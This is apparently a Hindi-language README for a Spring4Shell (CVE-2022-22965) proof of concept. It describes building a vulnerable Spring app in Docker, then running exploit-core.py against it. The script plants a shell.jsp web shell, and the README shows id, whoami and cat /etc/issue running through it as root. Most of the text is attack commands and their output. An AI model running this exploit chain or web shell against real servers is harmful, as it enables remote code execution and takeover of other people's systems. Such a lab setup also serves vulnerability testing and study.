
CVE-2022-22965 (Spring4Shell) अवधारणा का प्रमाण

बिल्डकिट आधारित बिल्ड आवश्यक है, इसलिए आपको इसे सक्षम करना होगा।
सबसे आसान तरीका है डॉकर बिल्ड कमांड का उपयोग करते समय DOCKER_BUILDKIT=1 एनवायरनमेंट वेरिएबल सेट करना, जैसे:
$ DOCKER_BUILDKIT=1 docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core
अन्यथा, डिफ़ॉल्ट रूप से डॉकर बिल्डकिट सक्षम करने के लिए, /etc/docker/daemon.json में डेमॉन कॉन्फ़िगरेशन फीचर को true पर सेट करें और डेमॉन को पुनरारंभ करें:
{ "features": { "buildkit": true } }
इस तरह आप सीधे निष्पादित कर सकते हैं
$ docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core
$ curl localhost:8080/spring4shell/exploitme
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Spring4Shell PoC Spring Application</title>
</head>
<body>
Hello World! Exploit me!
</body>
</html>
$ python3 exploit-core.py --url "http://localhost:8080/spring4shell/exploitme" --file shell
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://localhost:8080/shell.jsp?cmd=id
यदि सब कुछ सही रहा, तो टॉमकैट HTTP पोर्ट के माध्यम से कंटेनर में मनमानी कमांड चलाएं, जैसे:
$ curl http://localhost:8080/shell.jsp\?cmd\=id --output -
uid=0(root) gid=0(root) groups=0(root)
//
$ curl http://localhost:8080/shell.jsp\?cmd\=whoami --output -
root
//
$ curl http://localhost:8080/shell.jsp\?cmd\=cat%20/etc/issue --output -
Debian GNU/Linux 11 \n \l
//